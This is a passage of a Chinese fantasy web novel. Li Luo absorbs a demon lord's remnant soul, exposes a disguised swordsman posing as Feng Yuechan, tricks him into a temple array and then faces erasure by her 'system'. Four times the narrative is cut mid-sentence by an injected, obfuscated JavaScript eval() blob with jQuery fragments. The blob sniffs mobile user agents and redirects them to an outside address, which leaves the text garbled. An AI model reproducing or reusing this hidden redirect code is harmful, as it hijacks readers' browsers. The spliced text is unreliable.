它俯身将那盒胭脂捡起来,微微一扣盖上盖子,红色细粉在光束下漂浮。 再回头看向黎落时,目光已经变得阴冷可怖。 它本想利用结界幻境,让这人族女子无知无觉地献祭,没想到她竟如此不识好歹。 既然如此,便怪不得它亲自动手了。 黎落仍盖着那块盖头。 她隔着红布打量着“姜姨娘”,看她一双手变成鬼爪模样,长指甲足以将她脖子掐断。 而那盒细粉胭脂被她捏在手中,指甲和盒面摩擦,发出刺耳尖锐的威胁声,都昭示着她的杀意。 还有面前一靠近便让她感觉不安的墓碑…… 黎落忽然明白过来。 “姜姨娘”就是藏匿魔尊残魂的邪物。 它想得到她身上的混沌之力! 下一秒,阴冷之气铺面而来,仿佛那胭脂细粉一样无孔不入,想要挖出她的魂魄,抢走她的力量…… 黎落闭了闭眼睛,再睁开时,黑气已经漫了上来。 她身形一定,鬼气顿时拖不动她。 墓碑前摆着的紫玉蟾蜍也被这股力量吸引抖动,右眼红色更浓。 黎落与其对视片刻,忽然开口: “魔魂?” 她藏在盖头下的眸光微转,语速很慢,却格外笃定: “不如和我合作。它藏不住你,但我可以。” “小贱人!你敢抢我的东西!” “姜姨娘”没想到黎落竟敢当面“挖墙脚”,顿时大怒。 但比它动作更快的,黎落身上冒出一股黑气,和紫玉蟾蜍身上的魔气呼应,一把将它扼住吊在半空。 “姜姨娘”先是一惊,旋即眼里浮上惊艳: “混沌之力……当真如此强大!” 它本是一普通小鬼,靠着魔尊残魂才凝出了实体。 然而这残魂力量聊胜于无,唯一的作用,就是感知那不知道落在哪里的混沌之力。 它本以为此生无望了。 谁知,老天竟将人直接送到了冯府! “姜姨娘”心中狂喜。 纵使今夜魔君剑君齐聚冯府,它也无法抵抗混沌之力的诱惑,设下结界将黎落抓来。 历来富贵险中求,一旦成功,管他魔君剑君,统统奈它不何! 但此时此刻,“姜姨娘”已心生惧意。 黎落走近墓碑,红盖头随着她的动作轻轻晃动。 整个空间猛地一颤,是结界被人打出了裂痕,杀气不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320420|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从缝隙中灌进来。 对方力量蛮横,随时可以破界而入。 只是不知先来的会是魔君封樾,还是那个遮面的剑修。 悬在半空的“姜姨娘”越发害怕起来。 它虽贪心,却更想保命。 只要魔尊残魂还在它手中,就不怕找不到混沌之力。 但黎落忽地侧脸看它一眼,隔着盖头,那目光仍冰冷刺骨。 “姜姨娘”不由得打了个哆嗦。 结界再次猛地一颤,这次终于抵挡不住,自半空中破开一个口子。 一道魔气敲开了天穹,将满室漆黑打碎,伴随着横亘于真实天空中的闪电,直冲墓碑方向。 是封樾先至。 黎落心下遗憾。 原本她还有一丝希冀,若是那剑修能击败封樾,或许她还能有别的办法。 只可惜…… 系统的话像一个迫在眉睫的诅咒,逼迫她不得不尽快做出决定。 她已经没时间了。 黎落收回目光,在封樾现身的同时,一手将“姜姨娘”甩至身后,挡住魔气的攻击,另一只手果断按在紫玉蟾蜍的眼睛上。 封樾携带着冲天的魔气现身,魔相尽显。 他的脸色十分苍白,胸前伤口还在不断往外冒血。 右臂伤口深可见骨,几乎要被整个砍断。 幽蓝霜花覆盖其上,让魔气始终无法修复身躯,他便只能带着一身伤行动。 迎面砸来一只鬼,封樾只当是对方偷袭。 随意抬手一挡,源源不断的魔气远比鬼气更加蛮横,直接将恶鬼的鬼爪连根断掉。 “姜姨娘”来不及咒骂便发出一声尖叫,颤抖着滚到地上,迫不及待用脸去蹭手上的胭脂。 胭脂红铺在它的脸上,像是给她贴上了一层假面,手上伤口竟逐渐开始恢复。 封樾见状,冷笑一声: “原来是个陪葬的胭脂鬼。” 他将魔气铺张开来,抬脚重重踩在鬼爪上。 恶鬼瞬间被魔气绞杀,再难维持一张温柔美人面,脸上白骨丛生,胭脂香也变做腐臭气。 “姜姨娘”没了生息,封樾这才发现,前头还站着一个人。 身形纤弱,头盖红布,看不清脸,气息轻飘似无,与魔气混合着,几乎和墓碑融为一体。 他一时间竟没有察觉到对方的存在。 封樾抬手,欲以魔气掀开那红布,想要看清对方的样貌。 但几乎是在他动手的同时,一道巨大的魔气忽然从墓碑上爆发出来,碎石迎面飞溅而来。 封樾下意识抬袖抵挡。 然而等他放下袖子时,墓碑和那女人全都消失不见了,只剩下一只紫玉蟾蜍凝视着他,右眼不知所踪。 结界彻底碎了。 这一切只发生在数息之间。 饶是脚下正踩着恶鬼的魔君本人,也不由得诧异道: “这是见鬼了?” * 冯府中,段迟意收了剑,变幻回冯月婵的样貌。 他只比封樾慢了片刻,那捕捉走黎落的结界便碎裂开来,魔气连同黎落的气息一同失踪。 凌冽剑气扫过冯府每一个角落,藏匿雨中的邪物悉数被灭,却始终不见黎落的身影。 段迟意周身气息越发冷厉。 然而,当他回到淑林院,看到自己床上躺着的人时,那股冷而酷寒的气息便悄然消退了。 黎落躺在他的床上,盖着他的被子,正昏昏沉沉地睡着。 仿佛丝毫没有被冯府今夜的混乱所波及。 8. 第 8 章 段迟意站在床前微微俯身,凝视着黎落的睡颜。 她整个人都缩在被子里,只露出一张如花的娇颜,脸颊带着红晕,陷在沉沉的酣睡中,连他靠近也不曾察觉。 几缕碎发落在她眼角,和那细而长的睫毛搭在一起,像轻巧的蝴蝶偶然停驻。 段迟意下意识放轻了呼吸。 他忽然意识到自己靠得太近了,近得能看清黎落脸上细细的绒毛,在昏黄的烛光下,像洒了一层细腻的粉。 但他的目光落在她闭着的眼睑上,又会情不自禁被她安静恬淡的睡颜吸引。 这实在是一张让人不忍心怀疑的脸。 段迟意心想。 他也实在不忍心打搅她的甜梦。 * 黎落好久没有睡得这样沉了。 魔气像最坚韧的针线,游走在她经脉中,将体内的混沌之力和她缝合在一起,缓解了她动用混沌之力的反噬。 她一边沉浸在掌控这种力量的快感中,一边清楚地知道,引魔尊残魂的魔气入体,是一条不归路。 在她读过的故事中,这种行为不亚于打开了潘多拉的魔盒,为求一时之快,终究会带来不可挽回的后果; 又或许是与魔鬼的交易,驱虎吞狼,稍有不慎,便后患无穷。 可她并不害怕。 若终究要死于刀下,她只希望刀柄在自己手上。 一阵由远及近的嘈杂声传来,将黎落从昏睡中拽了出来。 但她并不想睁眼。 被子里有股清清冷冷的香,将鬼气和魔气冲散,让她感到前所未有的安宁。 她于是闭着眼睛,将被子朝头上拉了拉,随后整张脸都埋了进去。 像个密实的茧。 段迟意在桌边看着她,一边在心里默默计时,看这个“茧”要多久才会感到憋闷。 一盏茶后,呼吸不畅的黎落推开被子坐了起来。 她顶着一头乱蓬蓬的头发,茫然地看向段迟意。 身体醒了,但思维还在困倦,眼睛半睁不睁地冲他打招呼: “冯姐姐,你怎么在这儿?” 段迟意道:“这是我的床。” “啊?” 黎落茫然。 她眯着眼睛辨别了一番环境后,一下子清醒过来: “啊,这确实是你的屋子。” 但旋即她又打了个大大的哈欠,丝毫没有觉得有什么不好的,甚至还点评了一句: “姐姐你用的什么熏香啊,好好闻。” 段迟意没有回答。 他不用熏香。 若非他顶着冯月婵的脸,此情此景之下,他几乎要觉得,黎落是在调戏他了。 但黎落浑然不觉,她又揉了揉眼睛,自顾自问道: “外面好吵,他们在干什么?” “府中闹贼,姜姨娘和郎中一齐消失了。老太太害怕,要去城外上香。” 段迟意晃了晃手中的茶杯,忽而意味深长地说了句: “昨夜发生了很多事。” 他的目光一直锁在黎落脸上,清楚地看到她脸上的迷茫和慵懒褪却,眸子微微转动,呈现出和外表不甚符合的冷漠,一副若有所思的样子。 果然是瞒了什么。 他将茶杯放在桌上,动作不算轻柔,杯底和桌面碰撞出不大不小的声响,水面晃动两下。 他又问道: “昨夜睡的好吗?” 黎落回过神来。 昨晚的场景在她脑海中闪回了一遍,她确信自己没有撞见过冯月婵。 如今魔魂在她体内,系统和封樾都不会放过她。 为了自己和冯府的安全,她是时候离开了。 再看向冯月婵时,黎落的目光便带了几分不舍。 但她还是露出个如常的甜笑,点点头: “挺好的,特别好。” 说完,她又走到他身边,状似不经意道: “说起来,我们是不是也得去寺庙拜拜啊,最近经常遇见鬼。” 段迟意看着她,神色不变: “可你上次不是说,上香没用吗?” 黎落一哽。 她吃瘪,却并不打算轻易放弃,反而拉住他的胳膊晃了晃,微微歪头,又摆出那种她经常用的、让人不忍心拒绝的表情: “冯姐姐,我们去试试嘛,万一真的有用呢?城外的寺庙说不定真有两把刷子呢?” 城外…… 段迟意心下一沉。 她想跑。 冯府的鬼昨夜被他杀了干净,魔魂的痕迹却也莫名消失了。 结界碎裂,冯府失窃,“姜姨娘”和魔君失踪,消失片刻又忽然出现在他床上的黎落今日便想出城…… 桩桩件件的巧合,只能说明一件事: 魔魂,可能被黎落所得。 而现在,她想跑。 段迟意的眼神一点一点冷了下去。 他的目光从黎落拉住自己胳膊的手移到她脸上,想要看清这张甜美天真的面容后面究竟藏了什么秘密。 毫无波澜的注视让黎落忍不住心虚。 “冯姐姐这表情,到底是同意还是不同意啊?” 她心里念叨着,晃动他胳膊的手停了下来,想要收回去。 却猝不及防被他一把握住手腕。 冰冷强势的,并不十分用力的束缚,反倒吓了黎落一跳。 “你……” 她几乎本能想要动手,却又在对上“冯月婵”的脸时生生忍住。 幸好段迟意只是拉着她的腕子,一双点漆似的眸子望着她的眼睛,回答道: “好啊。” * 马车晃晃悠悠出了城。 黎落和段迟意各自坐着,车厢内保持着诡异的沉默。 自段迟意那句“好啊”之后,谁也没有主动开口说话。 黎落看着车外不断后移的景色,心事重重,很难装出天真活泼的样子来调节气氛。 段迟意则端坐垂眸,看起来毫无威胁,仿佛之前那猝不及防的一握所展露的侵略感只是她的错觉。 她转了转手腕。 寺庙到了。 老夫人被李嬷嬷搀扶着走在最前头,住持模样的僧人与她边走边交谈,时不时唱上一句“阿弥陀佛”。 黎落越走越慢,最后已经落到了冯府众人的尾端。 她正想找个机会脱离大部队,一道高挑的身影忽然靠近她。 “冯月婵”面无表情地看着她: “你不进去拜吗?” 黎落道: “我有东西落在马车上了,我想先去取。” 段迟意神色更冷: “哦?我和你一起?” “不用了。” 黎落后退几步,和他拉开距离,远远看见李嬷嬷和听雨说了什么,然后听雨便朝她二人的方向走来。 她松了一口气: “老夫人在找你呢。” 段迟意一动不动地看着她,像是在给她最后一次机会。 黎落垂眸避开他的视线: “你……” 她犹豫片刻,还是在听雨走过来的同时说了句: “你是冯府大小姐,硬气一点,他们拿你没办法的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320421|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后黎落不等“冯月婵”回答,果断转身朝马车的方向跑去。 听雨恰在此时赶来,冲段迟意道: “小姐,老夫人喊你进去上香。” 说罢,她看着黎落的背影,疑惑道: “黎姑娘怎么走了?” 段迟意看着黎落离开的方向,轻嗤一声: “做贼心虚,无情无义。” 八个字像是从牙缝里挤出来的,听起来十分生气。 听雨面露疑惑。 段迟意已经转身道:“走吧。” 听雨便忘了自己方才的困惑,带着他急匆匆去和老夫人汇合。 * 黎落站在马车边,一只手已经撩开了帘子。 她准备上车的动作却忽然顿住。 一旁等她的车夫见状问了句: “姑娘不是要回去帮小姐取东西吗?怎么不上车了?” 黎落放在车帘上的手渐渐攥紧,将帘子都揉出了褶皱,足见内心之挣扎。 她闭了闭眼睛,像是很艰难地在说服自己。 半晌后,她终于下定决心,放下帘子,转身又回了寺庙。 留下车夫在后头喊她: “姑娘,您又不回去了吗?” 黎落没有回答,她捏紧了拳头,问清“冯月婵”的厢房后,径直推开门走了进去。 段迟意正背对着门口,在朝杯子里倒茶。 看见黎落冷着脸冲进来,还关上了门,他神情一怔,眼里有些诧异,但更多的是一种好奇和探究: “不是走了?还回来做什么?” 语气反倒有几分轻松,不再似先前那般冷硬。 黎落没有回答。 破空之声传来。 段迟意一顿,没有立马反击,下一秒便被一柄匕首架在脖子上。 黎落推着他朝后倒去,倚靠在厢房中央的桌子上。 寺庙的桌子材质普通,并不稳当,被这股大力推地滑动,和地面接触,发出刺耳的摩擦声。 桌子上的茶杯也滚到了地上,溅起一片水花。 外面的人听见这声响动,走到门口小声讯问: “小姐?黎姑娘?” 黎落没有说话,反倒是段迟意开口: “无事,不要进来。” 屋外那人便又走开了。 段迟意收回视线,看向他身前的黎落,明知故问: “怎么了?” 黎落手中的刀刃又朝他脖子靠近了半寸,目光冰冷: “冯月婵呢?” 冯月婵本人性格内敛,大声说话、大幅度动作都不会做,认识她以来,她做过的最大胆的事就是替黎落隐瞒杀人的事实。 可面前这人,纵使被刀架着也神色如常。 仗着自己和冯月婵认识不久,些微的区别认不出来,便敢大喇喇顶替了冯月婵藏在冯府。 只恨自己终日心神不定,竟没有第一时间发现。 仔细想想,自上次冯月婵出门上香之后,两人的关系就变得格外亲近起来,又何尝不是诱她放松警惕的陷阱? 她确实可以装作不知道一走了之,可冯月婵呢? 她好不容易才活着回到冯府,她说自己一定会好好活下去,又怎能被面前这个卑鄙的“冒牌货”取代? 黎落心中担忧,面上则更加凶狠: “快说!你把冯月婵怎么了?!” 段迟意仔细看着她的神色,看她眼睛因为愤怒而呈现出的锐气和攻击性,和以往那个天真可欺的、小鹿般无辜的模样截然不同,心道: 是了,这才是真正的她。 9. 第 9 章 段迟意静静打量着她。 他的眸子极黑极冷,放弃伪装后,和冯月婵完全不一样,是一种骨子里透出来的漠然和冷淡。 盯着人不说话的时候,会带给人无形的压迫感,好像被一块寒冰堵死了所有退路。 不过片刻功夫,黎落却感觉仿佛过了一辈子那么长。 她在这样的僵持下逐渐败退,手一抖,匕首就朝着对方脖颈压去,再深半寸就要见血—— 手腕忽然被段迟意握住。 他没有十分用力,但黎落握着刀柄的手却怎么都动不了了。 刀刃稳稳定在半空,不得寸进。 段迟意看着她,眸光平静,说出的话却让黎落一惊: “魔尊残魂,被你所得?” 她没回答,用力想要抽回手,却未能挣脱半分。 段迟意仍盯着她瞧。 那眼神中没有狭弄也没有威胁,只是一派平静。 莫名的,黎落感觉自己脑门冒汗。 分明是她用刀架在对方脖子上,怎么反倒像是被这人控制着一样,连句鬼话都编不顺畅? 她露出几分恼怒神态,不答反问: “那你呢?你又是什么东西?凭什么来质问我?冯月婵呢?” 段迟意闻言挑眉: “要做答案交换吗?” 还不等黎落说话,他开口,语气淡然: “我确实不是冯月婵。” 黎落拧眉:“那她……” “她还活着。” 段迟意打断她: “到你了。魔尊残魂呢?” 黎落磨了磨牙,没说话。 她感觉现在的情况十分被动,很容易造成非但救不了冯月婵,还把自己搭进去的后果。 那才是彻底完了 她这样想着,决定试一试刚收拢的魔气,垂下的指尖暗中凝出黑气。 魔气浮现的一瞬间便被察觉到,段迟意微微眯起眼睛。 黎落抬手的一瞬间,他神色不变,微微侧头,轻松避开黎落的偷袭,然后扣着黎落的手腕,竟然将她整个人悬空提了起来。 段迟意身形一转,单手将人压到了桌子上。 “咚”得一声。 段迟意使的力气不算大,像是随意按住一条刚从水里捞出来、还在不断扑腾的鱼,却让她怎么都无法翻身跃起。 攻守之势易。 后腰顶在桌沿,手腕仍被人挟制着扣在身前,后背与桌面紧贴,冰凉坚硬的触感让黎落眉头一皱。 手里匕首还在,却反过来架在了她自己的脖子上。 她被这突如其来的反击撞得眼前发黑,半晌缓不过来。 就算有了魔气,人族的身体还是不够强大啊…… 黎落在心里叹了口气。 压着她的段迟意在上方俯瞰着她,薄唇轻启: “魔魂,果然在你身上。” 黎落挣扎着要起来,脖子上的刀刃泛着银光,险些划破她的脖子,又被段迟意两指按着脑门按了下去。 他甚至还好心提醒她:“别动,小心刀刃。” 黎落:“……” 她深吸了一口气。 魔魂的事被他揭穿,自己又根本挣脱不开,不过这人似乎没有杀她的打算,倒也不算彻底完蛋。 她索性暂时放弃挣扎,老实躺了回去: “是又如何?你不是早就怀疑了吗?” 段迟意看她片刻,语气笃定: “昨夜冯府,鬼亡魔伤,但,你是人族。” 黎落听懂了他的疑惑,心里那股子邪火不受控制地冒了出来: “那又如何?这魔魂是刻了他魔君名字了?凭什么只能归他?我就拿了怎么着了?!” 说完,她目光在段迟意脸上打量片刻,忽然冷静下来: “怎么?难道你也是为了魔魂而来?” 她像是发现了什么好玩的事,不由得弯着眼睛,露出面具似的笑容: “先是魔君,再是修士,现在连你这冒牌货也来抢……” 她故意隐藏了“混沌之力”的信息,睁大眼睛装作好奇: “不过是个魔魂碎片,上面的魔气连你一只手都打不过,抢去做什么呢?” 黎落做出天真姿态: “总不会……是和我一样,抢来玩的吧?” 她没将冒充冯月婵的人和昨夜那风清月朗的剑君联系起来。 段迟意没有纠正她,而是学着她的样子,同她一起胡扯: “是啊,抢来玩。” 语调平平,十分不负责任的答案,逗孩子一样。 黎落:“……” 她感觉自己心里的无名火冒得更甚。 偏在这时,胸前的坠子开始发亮,系统冒了出来: “宿主?您这是做什么呢?” 但段迟意仍一眨不眨地盯着黎落,她没法现在回答系统。 系统也意识到了这一点,它来的很匆忙,不等她回答又继续说道: “算了不重要,下一个关键剧情要来了,女主在寺庙遇到受伤的魔君,用身体为他疗伤。” 黎落一下子被口水呛到,仰面躺着咳嗽起来,脸颊通红,目光震惊夹杂着愤怒。 段迟意:“……?” 在他的视角来看,黎落就是好端端地忽然开始生气,然后把自己气到咳嗽不止。 他一时茫然,松开了对黎落的钳制。 黎落终于坐了起来,还在咳嗽。 段迟意于是伸手帮她拍了拍后背,贴心问道: “要喝水吗?” 黎落顺着他的话,看了一眼方才被她撞到地上的杯子。 水洒了一地,杯口也脏了。 她顿时觉得自己命运凄苦,坐在桌子上咳得更加厉害,这下连眼角都红了,泛着泪光。 段迟意转身要去给她找新杯子,被黎落拉住了袖子。 她咳嗽得嗓子都哑了,仍坚持说话: “你——” 段迟意等她说下去。 黎落神情期许,嗓音像是哭过的沙哑: “你能把冯月婵放了,换张脸和我说话吗?” 段迟意回身看她。 她拉着他的袖子,自下而上望着他,眼睛红红的,像只无辜的兔子,因为坐着的动作,更显得整个人小小一只。 他垂眸看向她拉着自己袖子的手,手指葱白纤细,轻轻攥住袖口绣着花朵的衣料,莹润淡粉的指甲比那花还要娇艳,怯生生的。 段迟意沉默片刻,抬手将冯月婵从法器中放了出来。 黎落松开段迟意,急忙跑到床边,确认了那躺在床上人是活着的冯月婵,这才松了一口气。 回身,段迟意已经换了一副面孔。 身量很高,乌发如瀑。 最先映入眼帘的是一双微微上挑的眸子,锐利如星,自成一副无法忽视的气度; 长睫浓密,将万千瑰丽掩于其中,勾着人情不自禁去看那双眸子。 而那双点漆似的眸子里,带着让人眩晕的色彩,让这张本就出尘绝世的脸显得更加惊心动魄。 肤色瓷白如玉,毫无瑕疵,鼻梁更高挺,嘴唇也更薄一些,带着恰到好处的嫣红,给他的五官增添了浓墨重彩的一笔。 黎落连呼吸都停顿了片刻。 对方仍穿着假扮冯月婵时的裙装,修长的脖颈被高领衣料包裹着,只露出轮廓分明的下颌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320422|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,看起来有些雌雄莫辨的英气俊朗。 裙子短了一截,在他身上却并不显得局促,反而因着他那种淡然平和的神态,呈现出一种高不可攀的神圣庄严。 黎落隐约觉得哪里不对。 但系统催她迅速走剧情。 黎落便暂时搁置了心里的疑惑,走到段迟意身边,顶着那双让她头晕目眩的眸子,发出邀请: “我不想吵到冯姐姐,你跟我出去,我换个地方把魔魂给你,好不好?” 段迟意不知她葫芦里卖的什么药。 黎落已经牵着他袖子,拉着人出了门。 根据系统的情报,封樾重伤之下又被佛教法阵困住,此刻正在寺庙后院偏僻处昏迷着。 那里的阵法相当隐蔽,轻易无人靠近,也只有没事干就爱一个人乱走的女主才会偶然撞上。 而她如果破坏了“女主用身体为魔君疗伤”的关键剧情,就会受到系统的惩罚。 可黎落心知肚明,一旦她真的参与了这段剧情,就再也无法摆脱封樾和命运的摆弄。 她会变成一个失身又失心的可怜虫,被封樾以“侍女”的身份带回魔宫。 心里的念头一生起就无法控制,黎落忍不住去想:如果剧情顺利走了下去,但主角不是她呢? 系统还会惩罚她吗? 段迟意跟着她朝偏僻处走去,忽然听见黎落问道: “姐姐,你可以变成别人的样子,应该不是普通人吧?” 他顿了顿,没有说话。 黎落心不在焉的样子,也并不怎么在意他的沉默,又自顾自说道: “可是我只是个凡人,我的命特别脆弱,这世上有太多可以杀死我的东西了,那些不断威胁我的事情,多到三天三夜都数不完……” 段迟意垂眸。 黎落叹了口气,站定,忽然拉住他的手。 触感冰凉,黎落心里古怪的感觉忽然又冒了出来。 她甚至犹豫了片刻,考虑要不要就此收手。 但下一秒,坠子又隐隐发热——剧情要开始了。 黎落放下杂念,不再多想。 段迟意的指节被她握住,柔软的、温暖的触感骤然袭来,他的长睫微微一颤。 黎落已松开了手: “姐姐,我这几天,是真心实意把你当成我最好的朋友的。虽然你骗了我,但是没有害过我,我真的不恨你。” 段迟意看着她难得郑重的表情,没有说话。 黎落从腰带里掏了掏,又摸出一柄细长的簪子,尾端被磨得格外锋利,可以轻易捅穿人的喉咙。 她将簪子郑重地放到段迟意手上: “姐姐,你帮我这一次,你之前骗我的事,就一笔勾销了……” 说完,她猛地一推,将面前的人推进了身后的阵法中。 地面上成圈的符文一亮,一道透明墙凭空出现,将段迟意拉了进去。 里面的魔气在符文亮起的同时逸散出来。 而后那符文再次灭了下去,地面变得干干净净,毫无痕迹。 坠入其中的段迟意脸上没有惊慌和意外,始终平静地看着她,直到视线被彻底合拢的阵法阻隔。 黎落站在阴影中,俏生生的脸上是和她平时截然不同的麻木和冷酷。 只一双漂亮灵动的眸子被地上的符文照亮了一瞬,分明干净澄澈,却莫名带着股偏执和残忍的意味。 隐约能从中看出几分良心和挣扎,但很快便被一种更为沉重的东西所覆盖。 “她总是在害怕。” “这世上究竟有什么东西,能让她一直陷在恐惧中,片刻不得解脱?” 这是段迟意被阵法困住前最后的想法。 10. 第 10 章 黎落走回到冯月婵的厢房门口。 她本想直接离开,但很快又想到今日一别,以后还不知道有没有再见的机会,便又回了头。 黎落小心翼翼地推开门,却发现冯月婵已经醒了。 见她推门进来,冯月婵急忙走过来,一把拉住她的手,眼里满是担忧: “黎落,他……没将你如何吧?” 黎落没说话,抬手抱住她。 冯月婵感受到了她这一抱中的告别之意,于是也沉默了。 她素来不擅言语,又从小不被家人庇佑,连告别都不知道该说些什么。 两人相处的时间并不算长,黎落没有主动提及过自己的出身,冯月婵也不曾问过。 但在云苍城的时候,她看到浑身是血的黎落冷着脸,将那云苍阁主一刀毙命的时候,心里却并不觉得害怕。 她震撼,意外,甚至从中生出一股期许来—— 她活下来了。 黎落救了她,她活下来了。 但紧接着,更多的慌乱浮上心头。 这次有黎落,她侥幸存活。那下一次呢?世上危险数不胜数,她没有这样的勇气和力量杀人,又要怎么活下去? 是以她抓着黎落的手时,总像抓着自己的生机。 反倒是黎落先松开手,看着冯月婵: “冯姐姐,我要走了。” 冯月婵动了动嘴,最后只道: “你要小心。” 黎落一笑,拉着她的手晃了晃: “冯姐姐,你也是。” 她仰起头,用下巴示意了一下外面的方向: “其实,冯府那些人只是个花架子,现在冯见章也不行了,姐姐你硬气一点,以后没人能为难你。” 冯月婵迟疑:“可是……” 黎落打断她,一脸认真: “万一我在外面混不下去了,还能回冯府找姐姐。” 冯月婵于是将推脱之词憋了回去。 黎落想了想,又补充道: “其实,冯府有些时候也很需要姐姐,这又何尝不是你的底气呢?他们不肯低声下气来求你,不过是仗着姐姐心软善良罢了……” 她顿了顿,露出个温良无害的笑来。 但冯月婵已经懂了。 她郑重地点了点头。 黎落终于放下心来。 * 冯月婵从厢房走出去,老夫人又差遣丫鬟来斥责她,话里话外讽刺她“晦气”、“事多”。 冯月婵没有反驳,一直到众人回到冯府,她才让听雨将所有人都请到了前厅。 冯老夫人和冯明远全都到场了。 府里丢了紫玉蟾蜍,又跑了一个妾室,冯明远神色不太好看,见着冯月婵,语气不善: “你就好好呆在院子里,跑出来做甚!” 冯月婵冲他行礼,并不回答他的斥责,而是径直坐到了老夫人下面的位置。 那地方素来是冯见章坐的,如今人病着不能出门,大家都默认空着,谁知她竟直接坐了下去。 老夫人一下子跳脚: “谁许你坐那的!” 何姨娘翻了个白眼:“一个破位置而已,有什么可嚷的?” 但她也并不喜欢冯月婵出现在人前,以免让冯明远想起她“不详”的事,对自己更加冷淡: “你要是没事就让大家散了,没见过一个小辈召集长辈的,真不像话。” 冯月婵等他们都说完了,这才幽幽开口: “这位置是大哥的。” 冯老夫人怒道: “你还知道!” 冯月婵看她一眼: “可大哥已经废了。” 冯老夫人勃然大怒,拐杖重重砸在地上: “混账!你竟敢编排自家兄长!” 连冯明远也觉得面上无光: “见章只是受伤了,好好养着会恢复的。” 但实际上他心里清楚,伤在那种地方,还被捅成了对穿,人基本上已经废了。 冯月婵不为所动:“可郎中都跑了,眼看是没得治了。” 老夫人跺拐杖:“你这混账!” 冯明远只觉心烦意乱,出声打断了这场闹剧: “够了!我冯府家大业大,还愁找不着郎中吗?月婵你也是,眼看着要出嫁了,莫要继续在家里生事!” 何姨娘原本吃瓜看戏,听见冯明远提起这桩混账亲事,一下子喊了起来: “老爷!” “姨娘别急。” 冯月婵打断了她的话,道: “冯家只有我与大哥两个孩子,现下大哥伤了,若我也嫁了,冯家以后怎么办?难道要从旁支过继吗?” 她鲜少说这样多的话,但语气不疾不徐,一时也让人找不着理由反驳: “冯家旁支多奸滑之辈,父亲之所以在平州立足,一开始也是抱着远离旁支的念头,如今回去过继,岂不是引狼入室?” 冯明远一下子盯着她。 这场景冯月婵在心里演练过无数遍,此刻说出来,竟无比顺畅: “与其靠别人的良心,不如靠自家的血脉。” 说完,她垂下眼睛,心里砰砰直跳,不是害怕,而是一种无比紧张的期待。 何姨娘一下子从她的话中捉摸出了几分深意,猛地睁开了眼睛,整个人都下意识坐直了。 但若以冯月婵为继,便是彻底将冯见章当成了弃子。 冯老夫人哪里受得了自己的宝贝孙子被人非议,一下子气得喘气: “我不同意!” 她拐杖指着冯月婵: “你这混账庶子!竟敢肖想冯家家产!我告诉你!有我老婆子在一天,你就想都不要想!” 她看向冯明远,惊恐地发现他眼里竟有意动,急忙道: “我儿身强体壮,何愁子嗣?明日便多纳几房姬妾——” 何姨娘冷笑一声。 “娘!” 冯明远被何姨娘的冷笑声刺激到,不得不打断老夫人的话: “儿子无意纳妾。” 他早便雄风不震,近些年府里这些妾室都不甚亲近,又何必招些麻烦进来。 老夫人一下子颓唐坐下。 和赵家的亲事便彻底黄了。 冯府继承人自然不会外嫁,若是招赘,赵家必不可能同意。 以后的冯府,都要落在冯月婵这个庶女头上了。 * 黎落坐在马车上。 冯月婵原本是想亲自送她,但她拒绝了,只讨了一辆马车。 赶车并不是个简单的活,她这一路上都和马儿边商量边缓慢地走,直到日暮也没能赶到云苍城。 反倒把她累的不行。 此处距离平州已有不远距离,想必是将魔君彻底甩开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320423|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一放松,被忽视的细节就会不停冒出来。 黎落两手握住,试了试手感,忽然意识到自己先前觉得奇怪的地方是什么了。 那个“冒牌货”虽然长的好看,但指节修长有力,指腹带着薄茧,身量也比女子高出许多。 好像……不是女人啊? 这念头冒出来的同时,她心里还保留着最后一丝期待。 万一这种能变来变去的妖怪,它就是这样的外形呢? 但很快,胸前玉坠亮了起来。 “魔君重伤加剧,性命垂危,剧情出现偏差,剧情出现严重偏差……” 下一秒,黎落忽然感觉有人攥住了她的心脏,尖锐的疼痛随着心脏跳动一次次传来,让呼吸都成为一种折磨。 系统的声音冰冷而没有感情: “由于宿主个人行为导致剧情偏差,即将进行抹杀。” “抹杀……什么?” 